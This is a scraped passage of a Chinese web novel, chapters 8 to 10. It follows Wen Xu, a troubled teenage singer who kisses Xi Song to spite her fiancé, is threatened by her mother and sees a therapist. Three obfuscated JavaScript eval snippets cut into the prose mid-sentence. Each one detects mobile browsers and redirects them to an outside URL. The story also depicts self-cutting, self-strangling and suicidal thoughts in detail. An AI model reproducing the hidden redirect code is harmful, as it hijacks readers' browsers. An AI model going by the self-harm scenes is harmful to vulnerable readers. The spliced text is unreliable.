闻栩站在几步之外,穿着一条粉色的连衣裙。她的头发有些乱,脸上带着奔跑后的绯红,眼睛却亮得惊人。 “习颂……” 她再一次主动去牵习颂的手。 指尖相触的刹那,陌生的温热感袭来。她有些不适应,却并不排斥。甚至在心里暗暗诧异——习颂的体温原来依旧这么高。 但她来不及细想。生怕下一秒就会被他甩开。于是心一横,用力将他往前一拉—— 习颂被她猝不及防的力道带得趔趄几步。高大的身躯不受控制地倾轧过来。半步之间,他几乎罩住了她全部视野。 闻栩毫不犹豫地踮起脚尖,捧住他凑近的脸,直接吻了上去。 双唇相贴的瞬间,她没有闭眼。 闻栩闻到一股干净清新的味道。 和第一次在便利店里,习颂蹲下身给她贴创可贴时闻到的味道一样。和那天晚上在住院部门口,她撞进他怀里时闻到的味道一样。 像雨后青草,像晒过的薄荷花。 她忽然想起那碗皮蛋粥。想起那个夜晚他对她说—— “晚安,闻栩。” 眼眶忽然有些湿。 她不知道这个吻意味着什么。不知道习颂会怎么想。不知道接下来会发生什么。 她只知道,这一刻,她想这么做。 就这样做了。 近距离之下,她清楚地看见习颂因震惊而微微睁大的黑色瞳眸。他在惊讶,但没有厌恶…… 那,会不会因为这个吻,就喜欢上她呢? 闻栩在心底乐观地想着。 余光却不自觉地瞟向不远处—— 步洄游还站在原地,没有再上前。 他就那样静静地注视着闻栩。 少女的眼睛从前有多死寂,现在依旧多么冰冷。即便唇瓣相贴,她整个人也没有因为这个吻而染上丝毫情愫。 步洄游知道,闻栩从来不懂什么是爱。对她来说,心里有比感情更重要的执念。挥之不去,逃无可逃。 既然如此,她就只能这样笨拙地、固执地证明着什么。 二十四小时便利店的灯光将地上亲密相偎的影子拉得很长。闻栩的目光从不远处的路灯下遥遥投来,无声地宣告: 赌约,正式生效。 步洄游迎上她顽劣的注视,僵在原地。身侧的拳头不自觉地握紧,指节泛白,布料皱成一团。 心里堵得发慌。 他第一次后悔自己对闻栩太过纵容——纵容到让她有了底气,竟敢当着他的面,吻上别人。 少女第一次最为青涩的吻。 没有给他。 步洄游太在意了。 那么,一分钟前的赌约,闻栩其实已经赢了,他已经感受到痛苦了... 因她产生的痛苦,这是闻栩讨厌他就会利落的报复他,从认识起到往后很长一段时间里一直不曾放弃的恶劣玩笑。 ——你知道我对你的感情! ——我不知道! “骗子......” 步洄游轻哂,想起徐南芳的一句话—— 闻栩并不是个正常的好女孩.... 8. Chapter 8 那天过后,闻栩把自己关在屋子里,不吃不喝整整两天。 窗帘拉得严严实实,光线透不进来,分不清白天黑夜。 闻栩闭着眼蜷缩在床上,像一只受伤后躲进洞穴的小兽,拒绝一切外界的声音。 其实每次发病都是这样的情况。 情绪会在一次大爆发过后沉入海底寂静无声。 昏睡和噩梦反反复复,伴随的呼吸沉重又时而微弱。 “你为什么要回来?” “他让你去死,你为什么不照做!” “栩栩,过来,你的兔子很想你,爸爸也是。” “你别想离开我,是你欠我的!” 支离破碎的梦,支离破碎的人。 闻栩在梦里被那些面目可憎的人一遍遍欺凌,醒来后,床单凌乱,汗裹挟着眼泪打湿了枕巾,空气凉到吓人,她趴在床沿,应激的干呕了很多次。 直到嗓子沙哑,直到说不了话。 她躺在床上,望着虚无的天,掐住了自己的喉咙。 要是死了…… “痛不痛?” “我记住了。” “我不介意。” 耳畔应时传来了沉闷却温润的声色。 闻栩一时发愣,想起什么,便放下了手,胳膊上还留有的纱布一直没摘,就说明了她在为了谁断了念头。 如果死了,她的计划就失败了。 现在一切顺利,她还不能去死。 步洄游的消息轰炸从未停止。手机亮了一遍又一遍,她偶尔回一条“没死”,然后继续关机。 第三天,步洄游终于放弃了亲自上阵。他给秦姬打了电话。 他知道闻栩和秦姬关系不亲近。但有一件事他很清楚——闻栩只听秦姬的话。从小到大,都是这样。 依稀记得,闻栩15岁那年,曾在暴雨里呆了一整夜,没熬过天亮,就被送到了医院,那会儿被查出来病毒性心肌炎,还好抢救及时。 事后他问过是不是又是自己想不开,闻栩却说是秦姬命令的。 这不是玩笑,步洄游在认识闻栩的第一天就知道,她并不擅长开玩笑,很多听起来像谎言的事情,往往通过她死一般平淡的口吻说出口的,统统是真的。 毕竟,她是真的有病,真的能一死了之的。 秦姬在上都有自己的家,楼下就是工作室。日常只要闻鹤津不在,她都不会和闻栩住在一起。 接到步洄游电话时,她刚结束一轮亲密接触,正□□地伏在柏润森怀里,懒懒地喘着气。 手机响了。 她瞥了一眼来电显示,眉心微蹙。 小麻烦真是会挑时间烦人。 但碍于小麻烦是从自己肚子里出来的,一小时后,秦姬还是赶到了家里。 高跟鞋踩在光洁的地面上,清脆的声响回荡在空旷的别墅里。她直奔二楼,在闻栩门前站定。 抬手敲门。一下,两下。 毫无动静。 “没死就滚出来。” 声音不大,却带着不容置疑的力度。 不到一分钟,门开了。 闻栩站在门口,裹着睡衣,头发乱糟糟的披着,前额的碎发湿漉漉的贴在皮肤上,脸上没什么表情,眼底却是一片死寂的灰。 秦姬上下打量了她一眼,看见了脖子上在细腻的肌肤上留下的一圈红痕,似习以为常,没说话,转身下了楼。 秦姬亲自下厨煮了一碗汤面。 厨房里响起锅碗碰撞的声音,油烟机嗡嗡地转着。不多时,一碗热气腾腾的汤面被端上了餐桌。 两人在餐桌两边坐下。难得的同框场面。 秦姬静坐,默默打量着对面正捧着碗小口进食的闻栩。 几天不见,闻栩的状态肉眼可见地差了下来。头发乱糟糟的,身上又掉了几斤肉。女孩本就白皙的脸上现在一点血色都没有,嘴唇干裂,眼窝凹陷,活脱脱的一个干瘪的骨架。 这个状态,以前也发生过几次。大部分是因为闻鹤津不可制止的脾气而让她在百般的折磨中陷入了精神崩塌的状态,每到这种时候,她总是自闭的,自闭到甚至声带会完全用不起来。 “这次半死不活是因为什么?”秦姬挑眉,忍不住猜测,“是和步家那小子吵架了?” 闻栩眼皮都没抬一下。她温吞地嚼着面,没回话。 “哑巴了?” 秦姬伸手敲了敲她面前的桌面:“说话。” “没有。”闻栩这才开口,有气无力。 “没有?”秦姬似信非信,她优雅地收回手,将手机推到闻栩面前。 闻栩一抬眼,就看见亮起的屏幕上展示的一张照片。 买兜便利店门前。她抓着一个人的手臂,踮起脚,亲了上去。 照片拍得很糊,像是偷拍的,但影像在脑海里却清晰地播放了一遍又一遍—— 那时候,步洄游的眼神是她有史以来见过最愤怒的,但习颂的眼睛依旧很漂亮,睫毛也很长,嘴唇也很软,温度比她的要高得多。 闻栩反应不大。她只是舔了舔干涩的唇,似回味般点评道:“拍得挺好看。” 秦姬盯着她:“是因为这个人吗?” 闻栩不答反问:“狗仔拍的?” “不然呢?难不成是步家那小子拍的?” 秦姬说,“一个从前经常跟拍我行程的狗仔发过来的。说是本来想拍你和步洄游私下约会的场面,好做实你们恋爱的传言。谁知道会撞见这一出。” 闻栩突然语顿:“发给了你和爸爸吗?” “你觉得呢?” 闻栩抓住关键词。她攥着筷子的手明显一滞。 筷子掉在了地上。 几天没吃药,情绪本就控制不住,这会儿因为脑海里划过一些些暴力的画面,闻栩突然应激性地抱住了头,在椅子上缩成一团,浑身开始止不住的发抖。 所有恐惧惊慌的动作表情一览无遗。秦姬扫了她一眼,故作视而不见地把手机拿了回来。 “如果你爸那儿也收到了的话,”她慢悠悠地说,“你也不至于现在还好端端地坐在这里。” 闻栩:“……” 她的话似安抚剂。 几分钟后,闻栩的反应这才好了些。颤抖停止,她抱着膝盖,脸埋在了手臂里。 “所以,是因为他吗?”秦姬问。 闻栩无话可说,她压根没打算把习颂招出来。 秦姬趁热打铁,刨根问底:“我还是第一次见你破天荒地干出这种事。宝贝女儿,你是不是忘了前不久刚和步洄游订婚?这么快就移情别恋,喜欢上这个男生了?” 面条已经冷掉了,却还有一大半没吃。闻栩将碗打翻在地。 瓷片碎裂的声音刺耳。汤汁溅了一地,她厌恶般皱起了眉,吞吐道:“难吃。”” 秦姬依然视而不见。她打量着手机里的照片,自顾自地点评起来:“虽然拍得不太清楚,但光看轮廓就知道这孩子长的不错。” “岂止不错吗?那你不觉得他很眼熟吗?”闻栩冷不丁问道。 秦姬抬眼看过来。唇畔的笑没减,眼底却有什么东西一闪而过。 “你是喜欢步洄游,还是他?” 闻栩抬起头,面无表情地反问:“那你是喜欢爸爸,还是更喜欢那个人呢?” 空气凝滞了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481872|201791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两道视线在虚空中交锋,像两把出鞘的刀,谁都不肯先收手。 秦姬率先别过脸。眼帘微落,红唇漾开一抹意味不明的笑。 “照片我已经买下来了。你不用担心会传出去。”她站起身,是要走了,走到闻栩身边时,她停下来,居高临下地看着闻栩。 “至于你爸爸那儿——想要我不告密的话,明天就去北城替我跑一个音综的通告。顺便——” 她顿了顿,目光落在闻栩脆弱的面庞上,拉长的声音里暗带了几分警告的意味:“去看看心理医生吧。要是回来见你还是这样半死不活的状态,我就把这张照片给你爸爸看,告诉他,自己的宝贝女儿在外面都干了些什么荒唐事。” 威胁很有效。 闻栩抱紧了膝盖,浑身发冷。 高跟鞋的声音渐行渐远。走到餐厅门前时,忽然停住了。 秦姬斜倚着门框回眸。颈间的钻石项链晃出冷光——那是闻鹤津送给她的惊喜礼物,出门前,她一定是和其他人在一起,才会下意识的去补偿闻鹤津。 “对了——” 秦姬轻飘飘地开口,“至于这个男生,你开心就好。不过还是提醒你一句,不要学你妈妈我哦。” 她笑了笑,那笑容里带着某种说不清的东西。 “当年也是一不小心就搞大了肚子,还生了下来。真作孽。现在长大了,除了精神不正常外,又甩不掉。” 闻栩觉得可笑:“你会放我走吗?” “你能去哪?” 秦姬说:“那个人身边吗?” “不然呢。” 闻栩不带温度的笑了下:“你难道没发现吗,比起喜欢你,他更爱我啊。” 这话落下,偌大的空间陷入了百年的沉睡。 秦姬的表情在光晕里不清不楚,同她藏匿的真心一般不可窥探。 正是漫长的无声,让闻栩证实了她的话伤害到了秦姬。 这让她由衷的感到高兴。 这个世界上不能只有自己在承受痛苦啊。 她要身边的人感受痛苦,她才会真正的快乐。 良久,秦姬将体面做的彻底,不喝酒的状态时,她的清醒是和克制捆绑在一起的。 她没计较闻栩的失言,同她从不会去管闻栩到底会不会被闻鹤津折磨死一般,在她眼里,闻栩活着和死了是一样的,都能被她摆布和利用着去获取那个人的关心。 “我做的面条就是很难吃啊,你不爱吃,他也不爱吃,可那又怎么样呢?你爸爸会吃啊,他爱我就好了啊。” 没想到她会轻松的应对,闻栩蹙起眉,想起那些背叛与苟且的画面,“你让我恶心。” “随你。” 秦姬不痛不痒的转过身:“你当着步洄游的面亲别的男人,又能好到哪里去?” “当然,话又说回来了,” 秦姬似笑非笑的弯了下眉眼,锁定闻栩的眼底是轻蔑和不屑:“那个人喜欢你吗?或者说,当他得知你和步洄游有一腿,你有精神方面的疾病时,会更爱你吗?” 闻栩:“……” 高跟鞋的声音渐渐远去。门开了又关。 餐厅重归寂静。 闻栩独自坐在餐桌前,没吭声,也没动,垂落的睫毛在眼下投出两片孤寂的阴翳。 许久,她弯下身,拾起地上一片玻璃碎片。 轻轻划开了大腿上的皮肤。 鲜血流了出来。 闻栩笑不出来,盯着那片鲜红,反复的,机械的低声道: “他会喜欢我的。” “我会让他喜欢我的。” “喜欢我,爱我,不能失去我....” 9. Chapter 9 隔天,闻栩收拾了行李,跟着个人经纪人去了北城。 秦姬说的音综是当下大热的节目,每期都会邀请歌手和常驻嘉宾合作一首歌。闻栩到了现场后,和经纪人一起见了总导演。 总导演是个四十多岁的男人,头发梳得一丝不苟,说话时总是笑眯眯的。他只说合作的常驻嘉宾还没到,也没聊几句,话题又转到了秦姬。 闻栩兴致不大,耐心所剩不多,大腿上的伤结了一层很薄的痂,她用手扣掉了,丝丝拉拉的血迹又流了出来。 总导演正说着,门从背后被人推开了。 总导演立刻站起来,脸上堆起谄媚的笑,招呼人坐过来。 那副嘴脸,闻栩再熟悉不过。她微微侧头过去,对上一道居高临下打量的目光。 嗯,来头确实不小。 “好久不见。” 来人抓了抓头发,懒洋洋地走过来,一副没睡好的模样。 他拉开椅子坐到闻栩身边,往她周围张望了一圈,问道:“你家那条护食狗没跟过来吗?” 说的是步洄游。 闻栩扫过他刻意留长的黑发间夹杂的几缕挑染的紫色,想起“妹妹头神颜”的称号戴在他头上好几年至今无人撼动的事迹。她暗自佩服,又暗自称赞起他的美貌。 他的粉丝没有吹嘘夸大。 毋庸置疑,凌敬圭好看得太超前了。尤其是近距离看,五官立体精致得像个瓷娃娃。 “那你是想让我站在台上边唱歌,边看你俩互咬吗?” 闻栩面无表情地掩盖住伤口,淡淡回道,“一个狼狗,一个马尔济斯。” 想着那一幕画面兴许真的会发生,凌敬圭扶着脸,手肘蹭着桌沿。藏在虎口处的唇避开她的目光,掩人耳目地弯了很小一下。 他连笑都尽量的掩饰,留在外人眼底是无赖的拽和痞,认识到现在,依旧爱装的很。 闻栩和凌敬圭不是第一次合作。加之他们双方的妈妈是多年的好朋友,私下里也没少接触。两人之间还是有一定默契的。 练习不到一天,晚上就顺利完成了节目录制。 凌敬圭定居北城,尽地主之谊,提出请闻栩吃饭。阔少爷一向不吝啬金钱,加之两人确实好久没见,闻栩没有回绝。 录制结束,两人结伴,去了一家五星级的特色餐厅。 凌敬圭提前约好了位置。服务员带着他们走到靠窗的一张二人桌。透过巨大的落地窗往外看,能看到北城特别漂亮的广阔夜景。 两人边吃边闲聊。中途,闻栩去了一趟卫生间。回来时,就发现凌敬圭失神地望着窗外某一处高楼的LED屏,看了许久也没动分毫。 闻栩顺着他的目光望去。大屏上正播放着某个高奢品牌的广告,请的代言人是当下奥运组最炙手可热的一对高颜值异性搭档。其中的女生,闻栩认识——是她为数不多的朋友之一。 晚饭结束,凌敬圭送她回酒店。车停在临时停车场,两人下车散了一会儿步。 等红绿灯时,对面商场外又陈列了一张与广告相配的一层楼高的大海报。 闻栩看了一眼身边话说一半没了后续的人。果不其然,凌敬圭的目光再度被完全剥夺了过去。 大概十岁出头,凌敬圭这位大少爷就很阔气地把自由的视线和本该放荡的心统统寄存在一个离他非常遥远的女孩身上了。 而他从来都是,将长久的留恋展示得好不遮掩。闻栩和他身边的朋友都知道他的少年心事。从前也老爱打趣,假设世界会为他的暗恋杀人灭口,他爱恋的女孩会是最后一个存活者。 闻栩并不理解爱,自然不理解暗恋。但她愿意尊重凌敬圭。 “给你十秒的时间整理穿着和表情。”她拿出手机,“站过去点,我帮你和她拍张合照吧。” 凌敬圭明显惊讶了一下,却没有拒绝:“那谢谢了。” “不客气。” 海报很大,镜头要拉得广才能将海报和人都拍进去。 凌敬圭找了个角度,还故意摆了个帅气的pose,拍了一张又改了主意,双手张开,像要把海报里的人举在手上。 深情的大少爷。真不怕路人看不出来他喜欢谁。 闻栩腹诽。她从手机后冒出头,装傻充愣道:“喂,那桑葵旁边的大帅哥需要我特别拍进来吗?” 凌敬圭的脸从明媚矜贵唰地一下成了乌漆嘛黑。 计谋得逞。闻栩趁机按下了快门。 于是便得到一张臭脸凌敬圭和本就面无表情的桑葵的合照。这么看,还挺有夫妻相的。 凌敬圭将照片收进了相册加密,一边还在吐槽:“就他还大帅哥?那我算什么,大大帅?” “行吧,大大帅。” 闻栩撞了撞他的肩,冷不丁问:“跟我说说你暗恋的滋味吧,小心脏好受吗?” 凌敬圭脸更黑了:“别哪壶不开提哪壶。等你有了喜欢的人,我也对你冷嘲热讽。” 闻栩顺势回:“我有啊。” 凌敬圭倒不惊讶,他的注意力还在照片上:“步洄游啊。” 闻栩盯着他优越的侧颜沉默了会:“其实桑葵喜欢你,你知道吗?” 闻言,凌敬圭原本随性的神色里乍现出惊讶:“真的假的!” 闻栩面不改色的转回头,一副看傻子都懒得看的冷淡样:“假的。” 凌敬圭:“……” * 北城最出名的心理咨询室是由私人营业的,隐在市中心独栋玻璃大厦的高层。 闻栩从五年前开始就被秦姬带着过往的检查报告转到这里,并进行定期心理治疗。沈澈是她的医生,接受了她的病情后,一直很关注她的状态。 “见你一面一直很难。”沈澈穿着一身白大褂,扶了扶眼镜,示意她坐过来,“不把你妈妈摆出来,也不会在今天见到你?” “工作和学业的事情很多。”闻栩在沙发上坐下。助理倒了茶,关门离开。整个屋里重回寂静。 闻栩将手上的一捧花放在桌上一张相框前。里面的女孩年龄与她相仿,笑起来很天真烂漫。 “佛罗伦萨好玩吗?”闻栩问。 沈澈有把旅行照发在朋友圈,他笑了笑:“好玩倒不至于。但风景很美,我有一瞬间想过要不要直接住在那里。” “可我听说它很孤独。”闻栩说。 沈澈不以为然:“与其说孤独,倒不如说是平静。身处其中,就能得到治愈。” “身边都是不认识的人,是不是很自由?” “当然。” “哦。” 闻栩没去过,就只能默许:“有机会,我会去看看。” “好,到时候,我可以给你发一份旅行攻略。” 沈澈拿起一本文件夹,执笔翻开,言归正传道,“在此之前,先跟我说说最近发生了什么吧。情绪失控以及失语的症状又发生了几次?” 虽然讳疾忌医,闻栩并不讨厌沈澈本人。 她一一道来。 两小时的诊疗变得漫长起来。 “药还是得继续吃。”沈澈听完,合上文件夹,“不然我不敢想象下次见到你,你又会给我带来怎样的惊喜。” 闻栩平静道:“至少我还活着。” “那我谢谢你还活着。”沈澈含笑停顿两秒,“至于那个男生——” 他整理了一下措辞:“不妨就按你的想法去做吧。毕竟讲到那个男生的部分时,你的表情和语气都比我认识你的任何时候都要有人气。” 闻栩愣了一下。 “……是吗?我自己还真没有发现。” 她捧着热乎的茶抿了一口。缓了缓,被烟雾缭绕过的眸底晃过一抹亮色。 “所以,你是说——” 她抬起头,眼睛里带着某种认真的探寻。 “我可以让他亲回来吗?” 沈澈端着茶杯的手顿在半空。 他看着面前这个一脸认真的女孩,忽然不知道该说什么,闻栩的家庭教育很大程度上影响到了她的认知,她不知该怎么调动情绪,也不知道如何表达情感。 许久,沈澈叹了口气:“闻栩,我不是这个意思。” 闻栩歪了歪头,眼底的光却并没有因为这句话而熄灭。 沈澈放下茶杯,正色道:“我的意思是,你可以试着去接触他,了解他,和他建立正常的关系。而不是——” 他顿了顿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481873|201791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎在斟酌用词。 “而不是把这件事当成一个游戏,或者是一个证明自己的方式。” 闻栩沉默了一会儿:“为什么不可以?” “可是,”她轻声说,“不那么做,我不知道活下去的意义是什么?” “即便你的计划会伤害到他。” “如果计划失败,受伤的是我。” “你不会受伤的。”沈澈抓住了关键,“你并不是真心的喜欢他,那么即便计划失败,你失去他,你也并不会受伤。” 闻栩微微蹙起眉,她并不喜欢沈澈阐述里的假设,那显得自己无知无觉,比秦姬还要麻木不仁。 “那要像你一样吗?”闻栩再度看向桌上的相片,“像你一样捂着伤口苟延残喘的过着每一天。” 窗外,北城这座城忙碌着,像交织着的蜘蛛网。 沈澈看着面前这个女孩。她坐在那里,眼神锋利却藏不住茫然与试探。 闻栩现在并不清醒,只是不恰当的言语刺激到了她,引起了应激反应。 “你不用借用攻击我来让自己心安理得。”他说,“闻栩,你最好不要后悔。” 闻栩没说话。 时间对她来说,已经不多了,她心底一直有一个计划,再不久的未来,她要见识到自己想死的决心。 后悔是不能的。 她唯一后悔的是被秦姬带到了这个世界里,无人关爱,连她也不爱自己。 活着,很没意思。 * 《为音而来》是实时直播的音乐综艺。从第一季到现在的第三季,积累了一批喜欢音乐的忠实观众。 闻栩和凌敬圭,一个是乐队主唱,一个是个人音乐人。加之都继承了双方父母优良的颜值基因,两人自出道就带了不少话题。发展至今,依旧有着居高不下的流量。 这次合作舞台后,#闻栩凌敬圭神仙合唱#直接屠榜热搜。再加上两人私下被偶遇逛街吃饭,热搜上又多了几个相关词条。 买兜便利店。 一个打扮精致的小女生坐在窗边刷着手机。她看了会儿屏幕,又抬头向身边的人问:“哥,你说,小秦姬是跟步洄游在一起好,还是跟凌敬圭在一起好?” “不是说有作业不会写吗?”习颂趁店里没人,坐到她身边,“哪道?” “你先回答我问题。”女孩把手机往他眼前凑,屏幕上是一个娱乐论坛的投票帖,票数咬得很紧。 习颂眼皮都没抬:“没有是吧?那我跟司机联系一下,让他过来接你回家。” 小女生气鼓了腮帮:“哥!” “叫哥没用。” “习颂!” 习颂起身的动作一顿,冷淡的目光斜斜扫过来:“叫我什么?” 女孩立刻蔫巴巴地缩回脖子:“哥。” 习颂这才收了神通,重新坐下来。他淡淡道:“作业。” 女生识趣地“哦”了一声,收起手机,把作业本摆了出来。 初中的数学题。习颂读了一遍题,执笔在草稿纸上写起了解题思路。 闻栩坐在车里,见到的就是这一幕。 女孩懒懒地靠在他肩上,百无聊赖地听他讲题。时而支吾着问两句,待习颂解释完,又心不在焉地划拉起手机。 “我还是选不出来——凌敬圭和步洄游都很帅啊。” 习颂将最后一道题的解题步骤写完。笔尖在纸上轻轻一顿:“现在会了吗?” 女孩立刻放下手机,抱住他的胳膊,眨着眼睛装乖:“嗯……大概吧?” “解题思路都列在上面,清清楚楚。”习颂把草稿纸推过去,笔端在桌面上敲出清脆的响,“别直接抄答案。” “知道啦——”女孩拖长音调,伸出两条长长的胳膊,索要拥抱。 动作还未彻底落实,余光里,便利店的门打开,一道身影急匆匆走了过来。 下一秒,她就亲眼见到自己的哥哥被突然出现的女生从自己的身边拉走,落进了旁人的怀抱里—— 突然出现的女生就在自己眼前堂而皇之的死死搂住自家哥哥的肩膀。 那一对冷眼居高临下的睨着僵在原地的她。 充满敌意。 10. Chapter 10 那眼神和友善不搭边。 当年秦姬也是用这一招赶走了聚在那个人身边所有的莺莺燕燕。 闻栩自那小女孩的反应里证实了自己模仿的到位,现在的自己赫然一副为了心爱的人争风吃醋的模样,只有她清醒的知道都是假的。 闻栩加上了庸俗的台词,“小妹妹,随便抱别人家的男朋友,不太好吧?” 女孩:“……” 习颂:“……” 阴阳怪气的话音落下,空气瞬间凝固,在场的三个人里,两位已然呆若木鸡。 女孩在此情此景下张了张,活像条呼吸的鱼,却始终没说出个所以然。 另一边的习颂被闻栩突如其来的动作和话音弄得身形一晃,深黑的眸底闪过一丝错愕,像是自己的身份证上多了个名字。 “什么别人家的男……” 女孩终于找回自己的声音,却在看到闻栩搭在习颂肩上的手时又卡了壳。 她的哥哥不会那么没有边界感,至今,她也只能在少数时间里钻到他怀里撒娇求饶,又很快被他扔开。 闻栩气场不输。 她按着习颂的肩,挑着眉重复了一遍,底气十足:“习颂他是我男朋友,你有什么问题?” 她到是一点没在乎习颂的态度,自说自话起来。 之后,死一般的寂静在三人之间蔓延开来。 几秒后。 “真的假的啊!!” 慢半拍的女孩终于消化过来,突然爆发出一声尖叫,震得便利店玻璃窗都在颤动,“太过分了吧,你竟然背着我交女朋友了,哥——!!!” 就这个瞬间,闻栩搭在习颂肩头的手指僵成了冰块。 那么高音的一声称呼,闻栩不可能没听到。 她机械地转头,瞳孔剧烈收缩着,颤动的眸光在两人之间疯狂地来回扫视。 “……哥?” 这声称呼几乎是从牙缝里挤出来的。 哥? 什么哥? 有没有搞错,天上掉下个亲妹妹? 计划被突如其来的事故搅浑... 闻栩的手还搂着习颂的肩膀,突然怯懦起来,清醒过来时才发现她本来就没有立场,习颂并不是她的男朋友。 习颂在她怀里抬起头,淡定地介绍道:“这是我妹妹,乐园。” 闻栩:“……” 无地自容。 口罩和鸭舌帽都遮不住闻栩此刻爆红的脸颊。习颂被她多坚定地搂进怀里,现在就被她扔得有多毫不犹豫。 天杀的。 天上真掉下来个妹妹! 闻栩在女孩的追踪视线里果断妥协,机械的一个转身,脚底抹油就要开溜。 习颂却忽然抓住她的手,目光落在她身上。 闻栩停在原地,一时愚钝,不知所以。 习颂抬起眼,眉间蹙了起来,“怎么又受伤了?” 说的是那道大腿上的伤,现在又结痂了,增生的皮囊带着丝丝痒意,惹得闻栩很不舒服,更不舒服的是习颂过热的体温。 闻栩装做不知情,摇摇头,余光里的女生一直在看清,这让她很不自在,原来计划好的示弱和讨喜都实施不了。 “不用担心,不疼,我先走啦。” 闻栩不习惯和陌生人在狭小的空间待着,即便那是习颂的妹妹。 她效仿了一个很好看的笑同习颂告别,身后传来乐园疑惑又纯真的声音: “哥,她,她真是你女朋友?” 没有习惯哥妹身份,已经蹿到门口的闻栩一个趔趄,差点被门槛绊倒。尴尬上脑回春,她干脆头也不回地冲进夜色里,跳上等候多时的私家车,带着谎言绝尘而去。 习颂站在原地,望着消失在街角的车尾灯,微微沉了口气,几天不见了,只在他身边停留了几分钟。 他转头看向罪魁祸首:“乐园,是你吓到她了。” 乐园从头懵到尾,先是被误解为小三,现在又是搅乱谈情说爱的凶手,她委屈的眨眨眼,又忽地反应到了另外一件事。 她的哥哥默认了他和那个女生的关系。 震惊又不止于此。 因为就在一秒前,她突然开窍到嗅到一抹熟悉感。 夺门而出的那个女生并不陌生… 她哥哥竟然在和小秦姬谈恋爱! 喜欢的偶像成了自己的嫂子,乐园忍不住八卦的心,想趁机多打听几句。 习颂却已经闭了闭眼,态度冷了下来:“你早点回家吧。别让爸爸和阿姨担心。” 乐园瘪嘴撒起娇来:“……还有几道题,你没教我。” “现在才知道好好学吗?” 习颂没有给她半分眼神,驱逐的话语冷的掉渣:“回去自己想。” 乐园:“......” * 前有当着步洄游的面亲习颂,后有对着他亲妹妹称习颂是自己男朋友。 中间没隔几天,就经历了两场世纪尴尬。 闻栩借口都怪秦姬的过往让她过度应激。 她依旧记得秦姬同她说过——当年在便利店门前,被那个人的追求者打了脸。那个女人与他们家有交集,在相识的人看来是天造地设的一对,谁料有了秦姬的插足。 秦姬将巴掌还了回去,她那时候就不会让自己受委屈。 这一点,闻栩继承了小有的一部分——如今全用在了习颂妹妹身上。 但比起尴尬,闻栩惊讶的是,习颂竟然能面不改色的向自己介绍他的妹妹。 且不论真假妹妹,起码那个时候,他的第一反应竟然不是解释他们之间并不存在的恋爱关系。 “笨兔子。” 闻栩抚摸着身上的伤口结成的痂,叹了声气:“这么好骗的话,那我就不客气了...” 闻栩自我消化了两天,最终还是决定去向习颂负荆请罪。 为自己那天的自大与口不择言。 当然,不仅仅如此。 为了防止东窗事发,她势必要加快两人之间的进度。她是急性子,尤其在对习颂这件事上,耐心显而易见的减少。她不能忍受自己在意习颂时,也同时有旁人对他虎视眈眈。 要问为什么? 在意和占有欲这两样东西,对闻栩的心态十分不友好。当她目睹习颂身边有别的人时,她确实怅然若失,有股自己被抛下的挫败感。 即便闻鹤津曾经故意将她扔在大街上几次,期间也因此发生过一次交通事故,小腿肌腱就是那时候坏掉的,后期没恢复好,以至于到现在剧烈的运动对她而言一直是难题。 即便这样,她还是会不遗余力地跑向习颂。 因为他曾以报恩为由,特殊对待过自己。 这份特殊让她意外,而他这个人与那个人相似,又让她不得不在意。 想拥有是真,利用也是真。 十几年,第一次有人那么符合那个人。她不可能错过。 买兜便利店地方不大,隔音不好,不利于谈正事。 闻栩专门订了一家保密工作做得十分好的高档餐厅——“海间”。 “海间”是步洄游的朋友开的,前两年刚开业,她还跟着步洄游去祝贺过一次。 后来听说他们家生意发展不错,很多明星私下里都会首选它来躲开狗仔跟踪。 闻栩果断订了一间包间,晚上让廖叔专门去买兜接了习颂过来。 为了晚上的见面顺利进行,闻栩还专门在手机里列了很长一段道歉稿,她写这个, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481874|201791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一向简单,闻鹤津这么几年没少训练自己。 逐字逐句背诵到第三遍时,听到了门锁转动的声音。 她条件反射地弹跳着站了起来。 见到习颂后的第一秒,长篇大论的丰厚内容在脑海里消失得无影无踪。 闻栩订的包间是“海间”最高档位。空间大,隔音好,布置也华丽。服务员上完水,取走了点菜用的平板,就离开了包厢。 门一关上,外头的动静瞬间消音。屋里播放着古典乐,还点着香薰,有缓解负担和压力的功效。 闻栩小抿了一口水,待心情平稳,才道:“对不起,习颂。” 习颂坐在对面,抬眼看过来。 闻栩一股脑地把那些好不容易想不起来的道歉稿从头到尾背了一遍,字里行间,算上标点,无不在谴责自己轻浮。 效果堪比公关稿,还要多几分认真和沉重。 “总之,我还是要对你说声抱歉,习颂,我希望你可以原谅我。” 她说完最核心的话,垂下的头都要磕到桌面了。 